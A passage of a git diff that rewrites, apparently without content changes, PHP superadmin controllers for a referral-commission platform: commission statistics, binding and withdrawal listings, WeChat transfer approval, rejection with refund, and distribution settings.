ae5f3c3..d566602 100644 --- a/api/app/controller/superadmin/Distribution.php +++ b/api/app/controller/superadmin/Distribution.php @@ -1,433 +1,433 @@ -whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; - $paidCommission = Db::name('commission_records')->where('status', 'paid')->sum('commissionFen') ?: 0; - $frozenCommission = Db::name('commission_records')->where('status', 'frozen')->sum('commissionFen') ?: 0; - $totalOrders = Db::name('commission_records')->whereIn('status', ['paid', 'frozen'])->count(); - - $personalCommission = Db::name('commission_records')->where('scope', 'personal') - ->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; - $enterpriseCommission = Db::name('commission_records')->where('scope', 'enterprise') - ->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; - - $bindingCount = Db::name('distribution_bindings') - ->where('status', 'active') - ->where('expireAt', '>', $now) - ->count(); - - // 待处理提现:status=0 审核中 - $pendingWithdraw = Db::name('distribution_withdrawals') - ->where('status', 0) - ->sum('amountFen') ?: 0; - - $todayStart = strtotime(date('Y-m-d 00:00:00')); - $todayCommission = Db::name('commission_records') - ->where('status', 'paid') - ->where('paidAt', '>=', $todayStart) - ->sum('commissionFen') ?: 0; - - return success([ - 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), - 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), - 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), - 'personalCommission' => number_format($personalCommission / 100, 2, '.', ''), - 'enterpriseCommission'=> number_format($enterpriseCommission / 100, 2, '.', ''), - 'totalOrders' => $totalOrders, - 'bindingCount' => $bindingCount, - 'pendingWithdraw' => number_format($pendingWithdraw / 100, 2, '.', ''), - 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), - ]); - } catch (\Exception $e) { - return error('获取数据失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/bindings 全平台绑定记录 - // ───────────────────────────────────────────────────────────── - public function bindings() - { - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - $scope = Request::param('scope', ''); - $status = Request::param('status', ''); - $enterpriseId = (int) Request::param('enterpriseId', 0); - - try { - $query = Db::name('distribution_bindings') - ->alias('b') - ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') - ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') - ->leftJoin('enterprises e', 'b.enterpriseId = e.id') - ->field('b.*, inv.nickname as inviterName, invt.nickname as inviteeName, e.name as enterpriseName'); - - if ($scope) $query->where('b.scope', $scope); - if ($status) $query->where('b.status', $status); - if ($enterpriseId) $query->where('b.enterpriseId', $enterpriseId); - - $total = (clone $query)->count(); - $list = $query->order('b.updatedAt', 'desc')->page($page, $pageSize)->select()->toArray(); - - $now = time(); - foreach ($list as &$row) { - $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); - $row['inviterName'] = $row['inviterName'] ?: '未知'; - $row['inviteeName'] = $row['inviteeName'] ?: '未知'; - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取绑定记录失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/commissions 全平台佣金记录 - // ───────────────────────────────────────────────────────────── - public function commissions() - { - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - $scope = Request::param('scope', ''); - $status = Request::param('status', ''); - - try { - $query = Db::name('commission_records') - ->alias('c') - ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') - ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') - ->leftJoin('enterprises e', 'c.enterpriseId = e.id') - ->field('c.*, inv.nickname as inviterName, invt.nickname as inviteeName, e.name as enterpriseName'); - - if ($scope) $query->where('c.scope', $scope); - if ($status) $query->where('c.status', $status); - - $total = (clone $query)->count(); - $list = $query->order('c.createdAt', 'desc')->page($page, $pageSize)->select()->toArray(); - - foreach ($list as &$row) { - $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); - $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取佣金记录失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/withdrawals 全平台提现申请 - // ───────────────────────────────────────────────────────────── - public function withdrawals() - { - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, (int) Request::param('pageSize', 20)); - $status = Request::param('status', ''); - - try { - $query = Db::name('distribution_withdrawals') - ->alias('w') - ->leftJoin('wechat_users u', 'w.userId = u.id') - ->field('w.*, u.nickname, u.avatar'); - - if ($status !== '') { - // 支持字符串或数字,统一转 int - $query->where('w.status', (int)$status); - } - - $total = (clone $query)->count(); - $list = $query->order('w.createdAt', 'desc')->page($page, $pageSize)->select()->toArray(); - - foreach ($list as &$row) { - $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); - $row['nickname'] = $row['nickname'] ?: '未知用户'; - - // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) - $code = (int) ($row['status'] ?? 0); - $row['status'] = $code; - - // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 - switch ($code) { - case 0: - $row['statusLabel'] = '审核中'; - break; - case 1: - $row['statusLabel'] = '已驳回'; - break; - case 2: - $row['statusLabel'] = '待收款'; - break; - case 3: - $row['statusLabel'] = '已收款'; - break; - case 4: - $row['statusLabel'] = '已过期'; - break; - default: - $row['statusLabel'] = '未知'; - break; - } - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } catch (\Exception $e) { - return error('获取提现记录失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // POST distribution/withdrawals/:id/approve 审核通过提现 - // ───────────────────────────────────────────────────────────── - public function approveWithdrawal(int $id) - { - $note = Request::param('note', ''); - $now = time(); - - $record = Db::name('distribution_withdrawals') - ->alias('w') - ->leftJoin('wechat_users u', 'w.userId = u.id') - ->field('w.*, u.openid') - ->where('w.id', $id) - ->find(); - // 仅允许处理审核中(status=0)的记录 - if (!$record || (int)$record['status'] !== 0) { - return error('提现申请不存在或已处理', 400); - } - - try { - // 生成商户单号:TX + 时间戳 + 随机数 + 提现ID(示例:TX202603121526520005123) - $outBillNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999) . $record['id']; - - // 调用微信商家转账到零钱接口(参数对齐 ckb-admin Withdrawal::handleWechatPay) - $service = new \app\common\service\WechatTransferService(); - $result = $service->createTransfer([ - 'out_bill_no' => $outBillNo, - 'openid' => $record['openid'], - 'transfer_amount' => (int) $record['amountFen'], // 单位:分 - 'transfer_remark' => '推广佣金提现', - 'transfer_scene_id' => env('TRANSFER_SCENE_ID', '1005'), - 'transfer_scene_report_infos' => [ - [ - 'info_type' => '岗位类型', - 'info_content' => '推广人员', - ], - [ - 'info_type' => '报酬说明', - 'info_content' => '推广佣金提现', - ], - ], - 'notify_url' => env('WITHDRAW_NOTIFY_URL', ''), // 可选:提现专用回调 - ]); - - if ($result['success'] !== true) { - $err = $result['error'] ?? []; - $code = $err['code'] ?? 'UNKNOWN'; - $msg = $err['message'] ?? '微信转账接口调用失败'; - return error("微信转账发起失败({$code}):{$msg}", 500); - } - - $wechatData = $result['data'] ?? []; - Db::name('distribution_withdrawals')->where('id', $id)->update([ - // 2=待收款(已发起转账,等待用户确认) - 'status' => 2, - 'auditNote' => $note, - 'auditAt' => $now, - 'updatedAt' => $now, - 'pay_type' => 'wechat', - 'out_bill_no' => $outBillNo, - 'transfer_bill_no' => $wechatData['transfer_bill_no'] ?? null, - 'wechat_pay_state' => $wechatData['state'] ?? 'PROCESSING', - 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), - 'package_info' => $wechatData['package_info'] ?? '', - 'mch_id' => env('MCH_ID', null), - ]); - return success(null, '审核通过,已发起微信转账'); - } catch (\Exception $e) { - return error('操作失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // POST distribution/withdrawals/:id/reject 拒绝提现 - // ───────────────────────────────────────────────────────────── - public function rejectWithdrawal(int $id) - { - $note = Request::param('note', ''); - $now = time(); - - $record = Db::name('distribution_withdrawals')->where('id', $id)->find(); - // 仅允许处理审核中(status=0)的记录 - if (!$record || (int)$record['status'] !== 0) { - return error('提现申请不存在或已处理', 400); - } - - Db::startTrans(); - try { - Db::name('wechat_users') - ->where('id', $record['userId']) - ->inc('walletBalance', $record['amountFen']) - ->update(['updatedAt' => $now]); - - Db::name('distribution_withdrawals')->where('id', $id)->update([ - // 1=已驳回 - 'status' => 1, - 'auditNote' => $note, - 'auditAt' => $now, - 'updatedAt' => $now, - ]); - - Db::commit(); - return success(null, '已拒绝,余额已退回'); - } catch (\Exception $e) { - Db::rollback(); - return error('操作失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // GET distribution/settings 个人版分销全局配置 - // ───────────────────────────────────────────────────────────── - public function settings() - { - try { - $config = Db::name('system_config')->where('key', 'distribution')->where('enterprise_id', 0)->find(); - $default = [ - 'enabled' => true, - 'promoCenterTitle' => '推广中心', - 'bindingDays' => 30, - 'minWithdrawFen' => 100, - 'maxWithdrawFen' => 0, - 'requireAudit' => true, - 'withdrawFee' => 0, - 'testSettings' => self::defaultTestSettings(), - ]; - if ($config && $config['value']) { - $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; - $settings = array_merge($default, $settings ?? []); - } else { - $settings = $default; - } - $settings['minWithdraw'] = round((float)($settings['minWithdrawFen'] ?? 100) / 100, 2); - $settings['maxWithdraw'] = ($max = (int)($settings['maxWithdrawFen'] ?? 0)) > 0 ? round($max / 100, 2) : 0; - $settings['testSettings'] = self::appendTestSettingsAmount($settings['testSettings'] ?? self::defaultTestSettings()); - return success($settings); - } catch (\Exception $e) { - return error('获取配置失败:' . $e->getMessage(), 500); - } - } - - // ───────────────────────────────────────────────────────────── - // PUT distribution/settings 更新个人版分销全局配置 - // ───────────────────────────────────────────────────────────── - public function updateSettings() - { - $settings = Request::only([ - 'enabled', 'promoCenterTitle', 'bindingDays', - 'minWithdrawFen', 'minWithdraw', 'maxWithdrawFen', 'maxWithdraw', - 'requireAudit', 'withdrawFee', 'testSettings' - ]); - - $minWithdrawFen = isset($settings['minWithdraw']) - ? (int) round((float)$settings['minWithdraw'] * 100) - : (int)($settings['minWithdrawFen'] ?? 100); - $maxWithdrawFen = isset($settings['maxWithdraw']) - ? (int) round((float)$settings['maxWithdraw'] * 100) - : (int)($settings['maxWithdrawFen'] ?? 0); - $minWithdrawFen = max(100, min(20000, $minWithdrawFen)); - $maxWithdrawFen = $maxWithdrawFen > 0 ? min(20000, max(100, $maxWithdrawFen)) : 0; - - $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); - $toSave = [ - 'enabled' => (bool)($settings['enabled'] ?? true), - 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', - 'bindingDays' => (int)($settings['bindingDays'] ?? 30), - 'minWithdrawFen' => $minWithdrawFen, - 'maxWithdrawFen' => $maxWithdrawFen, - 'requireAudit' => isset($settings['requireAudit']) ? (bool)$settings['requireAudit'] : true, - 'withdrawFee' => max(0, min(100, (float)($settings['withdrawFee'] ?? 0))), - 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), - ]; - - try { - $now = time(); - $existing = Db::name('system_config')->where('key', 'distribution')->where('enterprise_id', 0)->find(); - if ($existing) { - Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', 0) - ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); - } else { - Db::name('system_config')->insert([ - 'key' => 'distribution', - 'enterprise_id' => 0, - 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - } - $toSave['minWithdraw'] = $toSave['minWithdrawFen'] / 100; - $toSave['maxWithdraw'] = $toSave['maxWithdrawFen'] > 0 ? $toSave['maxWithdrawFen'] / 100 : 0; - $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); - return success($toSave, '配置已保存'); - } catch (\Exception $e) { - return error('保存配置失败:' . $e->getMessage(), 500); - } - } - - private static function defaultTestSettings(): array - { - $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; - return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; - } - - private static function sanitizeTestSettings($raw): array - { - $default = self::defaultTestSettings(); - if (!is_array($raw)) return $default; - $result = []; - foreach ($default as $type => $def) { - $s = $raw[$type] ?? []; - $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; - $amountFen = isset($s['commissionAmount']) - ? (int) round((float)$s['commissionAmount'] * 100) - : (int)($s['commissionAmountFen'] ?? 0); - $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); - $result[$type] = [ - 'enabled' => ($s['enabled'] ?? true) !== false, - 'commissionType' => $commissionType, - 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, - 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, - 'noPayment' => !empty($s['noPayment']), - ]; - } - return $result; - } - - private static function appendTestSettingsAmount(array $ts): array - { - foreach ($ts as $k => $v) { - $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); - } - return $ts; - } -} +whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $paidCommission = Db::name('commission_records')->where('status', 'paid')->sum('commissionFen') ?: 0; + $frozenCommission = Db::name('commission_records')->where('status', 'frozen')->sum('commissionFen') ?: 0; + $totalOrders = Db::name('commission_records')->whereIn('status', ['paid', 'frozen'])->count(); + + $personalCommission = Db::name('commission_records')->where('scope', 'personal') + ->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $enterpriseCommission = Db::name('commission_records')->where('scope', 'enterprise') + ->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + + $bindingCount = Db::name('distribution_bindings') + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->count(); + + // 待处理提现:status=0 审核中 + $pendingWithdraw = Db::name('distribution_withdrawals') + ->where('status', 0) + ->sum('amountFen') ?: 0; + + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $todayCommission = Db::name('commission_records') + ->where('status', 'paid') + ->where('paidAt', '>=', $todayStart) + ->sum('commissionFen') ?: 0; + + return success([ + 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), + 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), + 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'personalCommission' => number_format($personalCommission / 100, 2, '.', ''), + 'enterpriseCommission'=> number_format($enterpriseCommission / 100, 2, '.', ''), + 'totalOrders' => $totalOrders, + 'bindingCount' => $bindingCount, + 'pendingWithdraw' => number_format($pendingWithdraw / 100, 2, '.', ''), + 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), + ]); + } catch (\Exception $e) { + return error('获取数据失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/bindings 全平台绑定记录 + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $scope = Request::param('scope', ''); + $status = Request::param('status', ''); + $enterpriseId = (int) Request::param('enterpriseId', 0); + + try { + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') + ->leftJoin('enterprises e', 'b.enterpriseId = e.id') + ->field('b.*, inv.nickname as inviterName, invt.nickname as inviteeName, e.name as enterpriseName'); + + if ($scope) $query->where('b.scope', $scope); + if ($status) $query->where('b.status', $status); + if ($enterpriseId) $query->where('b.enterpriseId', $enterpriseId); + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc')->page($page, $pageSize)->select()->toArray(); + + $now = time(); + foreach ($list as &$row) { + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['inviterName'] = $row['inviterName'] ?: '未知'; + $row['inviteeName'] = $row['inviteeName'] ?: '未知'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取绑定记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/commissions 全平台佣金记录 + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $scope = Request::param('scope', ''); + $status = Request::param('status', ''); + + try { + $query = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') + ->leftJoin('enterprises e', 'c.enterpriseId = e.id') + ->field('c.*, inv.nickname as inviterName, invt.nickname as inviteeName, e.name as enterpriseName'); + + if ($scope) $query->where('c.scope', $scope); + if ($status) $query->where('c.status', $status); + + $total = (clone $query)->count(); + $list = $query->order('c.createdAt', 'desc')->page($page, $pageSize)->select()->toArray(); + + foreach ($list as &$row) { + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取佣金记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/withdrawals 全平台提现申请 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + + try { + $query = Db::name('distribution_withdrawals') + ->alias('w') + ->leftJoin('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.nickname, u.avatar'); + + if ($status !== '') { + // 支持字符串或数字,统一转 int + $query->where('w.status', (int)$status); + } + + $total = (clone $query)->count(); + $list = $query->order('w.createdAt', 'desc')->page($page, $pageSize)->select()->toArray(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '未知用户'; + + // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) + $code = (int) ($row['status'] ?? 0); + $row['status'] = $code; + + // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 + switch ($code) { + case 0: + $row['statusLabel'] = '审核中'; + break; + case 1: + $row['statusLabel'] = '已驳回'; + break; + case 2: + $row['statusLabel'] = '待收款'; + break; + case 3: + $row['statusLabel'] = '已收款'; + break; + case 4: + $row['statusLabel'] = '已过期'; + break; + default: + $row['statusLabel'] = '未知'; + break; + } + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取提现记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/approve 审核通过提现 + // ───────────────────────────────────────────────────────────── + public function approveWithdrawal(int $id) + { + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->leftJoin('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.openid') + ->where('w.id', $id) + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在或已处理', 400); + } + + try { + // 生成商户单号:TX + 时间戳 + 随机数 + 提现ID(示例:TX202603121526520005123) + $outBillNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999) . $record['id']; + + // 调用微信商家转账到零钱接口(参数对齐 ckb-admin Withdrawal::handleWechatPay) + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_bill_no' => $outBillNo, + 'openid' => $record['openid'], + 'transfer_amount' => (int) $record['amountFen'], // 单位:分 + 'transfer_remark' => '推广佣金提现', + 'transfer_scene_id' => env('TRANSFER_SCENE_ID', '1005'), + 'transfer_scene_report_infos' => [ + [ + 'info_type' => '岗位类型', + 'info_content' => '推广人员', + ], + [ + 'info_type' => '报酬说明', + 'info_content' => '推广佣金提现', + ], + ], + 'notify_url' => env('WITHDRAW_NOTIFY_URL', ''), // 可选:提现专用回调 + ]); + + if ($result['success'] !== true) { + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + return error("微信转账发起失败({$code}):{$msg}", 500); + } + + $wechatData = $result['data'] ?? []; + Db::name('distribution_withdrawals')->where('id', $id)->update([ + // 2=待收款(已发起转账,等待用户确认) + 'status' => 2, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outBillNo, + 'transfer_bill_no' => $wechatData['transfer_bill_no'] ?? null, + 'wechat_pay_state' => $wechatData['state'] ?? 'PROCESSING', + 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'package_info' => $wechatData['package_info'] ?? '', + 'mch_id' => env('MCH_ID', null), + ]); + return success(null, '审核通过,已发起微信转账'); + } catch (\Exception $e) { + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/reject 拒绝提现 + // ───────────────────────────────────────────────────────────── + public function rejectWithdrawal(int $id) + { + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals')->where('id', $id)->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在或已处理', 400); + } + + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals')->where('id', $id)->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + return success(null, '已拒绝,余额已退回'); + } catch (\Exception $e) { + Db::rollback(); + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/settings 个人版分销全局配置 + // ───────────────────────────────────────────────────────────── + public function settings() + { + try { + $config = Db::name('system_config')->where('key', 'distribution')->where('enterprise_id', 0)->find(); + $default = [ + 'enabled' => true, + 'promoCenterTitle' => '推广中心', + 'bindingDays' => 30, + 'minWithdrawFen' => 100, + 'maxWithdrawFen' => 0, + 'requireAudit' => true, + 'withdrawFee' => 0, + 'testSettings' => self::defaultTestSettings(), + ]; + if ($config && $config['value']) { + $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + $settings = array_merge($default, $settings ?? []); + } else { + $settings = $default; + } + $settings['minWithdraw'] = round((float)($settings['minWithdrawFen'] ?? 100) / 100, 2); + $settings['maxWithdraw'] = ($max = (int)($settings['maxWithdrawFen'] ?? 0)) > 0 ? round($max / 100, 2) : 0; + $settings['testSettings'] = self::appendTestSettingsAmount($settings['testSettings'] ?? self::defaultTestSettings()); + return success($settings); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // PUT distribution/settings 更新个人版分销全局配置 + // ───────────────────────────────────────────────────────────── + public function updateSettings() + { + $settings = Request::only([ + 'enabled', 'promoCenterTitle', 'bindingDays', + 'minWithdrawFen', 'minWithdraw', 'maxWithdrawFen', 'maxWithdraw', + 'requireAudit', 'withdrawFee', 'testSettings' + ]); + + $minWithdrawFen = isset($settings['minWithdraw']) + ? (int) round((float)$settings['minWithdraw'] * 100) + : (int)($settings['minWithdrawFen'] ?? 100); + $maxWithdrawFen = isset($settings['maxWithdraw']) + ? (int) round((float)$settings['maxWithdraw'] * 100) + : (int)($settings['maxWithdrawFen'] ?? 0); + $minWithdrawFen = max(100, min(20000, $minWithdrawFen)); + $maxWithdrawFen = $maxWithdrawFen > 0 ? min(20000, max(100, $maxWithdrawFen)) : 0; + + $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); + $toSave = [ + 'enabled' => (bool)($settings['enabled'] ?? true), + 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', + 'bindingDays' => (int)($settings['bindingDays'] ?? 30), + 'minWithdrawFen' => $minWithdrawFen, + 'maxWithdrawFen' => $maxWithdrawFen, + 'requireAudit' => isset($settings['requireAudit']) ? (bool)$settings['requireAudit'] : true, + 'withdrawFee' => max(0, min(100, (float)($settings['withdrawFee'] ?? 0))), + 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), + ]; + + try { + $now = time(); + $existing = Db::name('system_config')->where('key', 'distribution')->where('enterprise_id', 0)->find(); + if ($existing) { + Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => 'distribution', + 'enterprise_id' => 0, + 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + $toSave['minWithdraw'] = $toSave['minWithdrawFen'] / 100; + $toSave['maxWithdraw'] = $toSave['maxWithdrawFen'] > 0 ? $toSave['maxWithdrawFen'] / 100 : 0; + $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); + return success($toSave, '配置已保存'); + } catch (\Exception $e) { + return error('保存配置失败:' . $e->getMessage(), 500); + } + } + + private static function defaultTestSettings(): array + { + $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; + return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; + } + + private static function sanitizeTestSettings($raw): array + { + $default = self::defaultTestSettings(); + if (!is_array($raw)) return $default; + $result = []; + foreach ($default as $type => $def) { + $s = $raw[$type] ?? []; + $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; + $amountFen = isset($s['commissionAmount']) + ? (int) round((float)$s['commissionAmount'] * 100) + : (int)($s['commissionAmountFen'] ?? 0); + $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); + $result[$type] = [ + 'enabled' => ($s['enabled'] ?? true) !== false, + 'commissionType' => $commissionType, + 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, + 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, + 'noPayment' => !empty($s['noPayment']), + ]; + } + return $result; + } + + private static function appendTestSettingsAmount(array $ts): array + { + foreach ($ts as $k => $v) { + $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); + } + return $ts; + } +} diff --git a/api/app/controller/superadmin/Enterprise.php b/api/app/controller/superadmin/Enterprise.php index 939b798..0b60942 100644 --- a/api/app/controller/superadmin/Enterprise.php +++ b/api/app/controller/superadmin/Enterprise.php @@ -1,437 +1,437 @@ -request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $page = Request::param('page', 1); - $pageSize = Request::param('pageSize', 20); - $keyword = Request::param('keyword', ''); - $status = Request::param('status', ''); - - $where = []; - - // 搜索条件 - if ($keyword) { - $where[] = ['name|contactName|contactPhone|code', 'like', '%' . $keyword . '%']; - } - - // 状态筛选 - if ($status !== '') { - $where['status'] = $status; - } - - // 查询企业列表 - $list = EnterpriseModel::where($where) - ->order('createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - // 统计每个企业的用户数和测试用量 - foreach ($list as &$item) { - // 统计用户数(只统计未删除的用户) - $item['userCount'] = Db::name('users') - ->where('enterpriseId', $item['id']) - ->where('deletedAt', null) - ->count(); - - // 统计测试用量(测试结果数)- 通过企业下的用户ID统计(只统计未删除的用户) - $userIds = Db::name('users') - ->where('enterpriseId', $item['id']) - ->where('deletedAt', null) - ->column('id'); - - if (!empty($userIds)) { - $item['testUsage'] = Db::name('test_results') - ->where('userId', 'in', $userIds) - ->count(); - } else { - $item['testUsage'] = 0; - } - } - - $total = EnterpriseModel::where($where)->count(); - - // 统计活跃企业数(status为operating) - $activeCount = EnterpriseModel::where('status', 'operating')->count(); - - return success([ - 'list' => $list, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - 'activeCount' => $activeCount - ]); - } - - /** - * 获取企业详情 - * @param int $id - * @return \think\response\Json - */ - public function detail($id = null) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - // 如果路由参数没有传递,尝试从请求参数获取 - if (empty($id)) { - $id = Request::param('id'); - } - - if (empty($id)) { - return error('企业ID不能为空', 400); - } - - $enterprise = EnterpriseModel::find($id); - - if (!$enterprise) { - return error('企业不存在', 404); - } - - $data = $enterprise->toArray(); - - // 获取企业下的所有用户ID(只统计未删除的用户) - $userIds = Db::name('users') - ->where('enterpriseId', $id) - ->where('deletedAt', null) - ->column('id'); - - // 统计用户数 - $data['userCount'] = count($userIds); - - // 获取管理员账号列表(企业管理员角色,只获取未删除的) - $adminAccounts 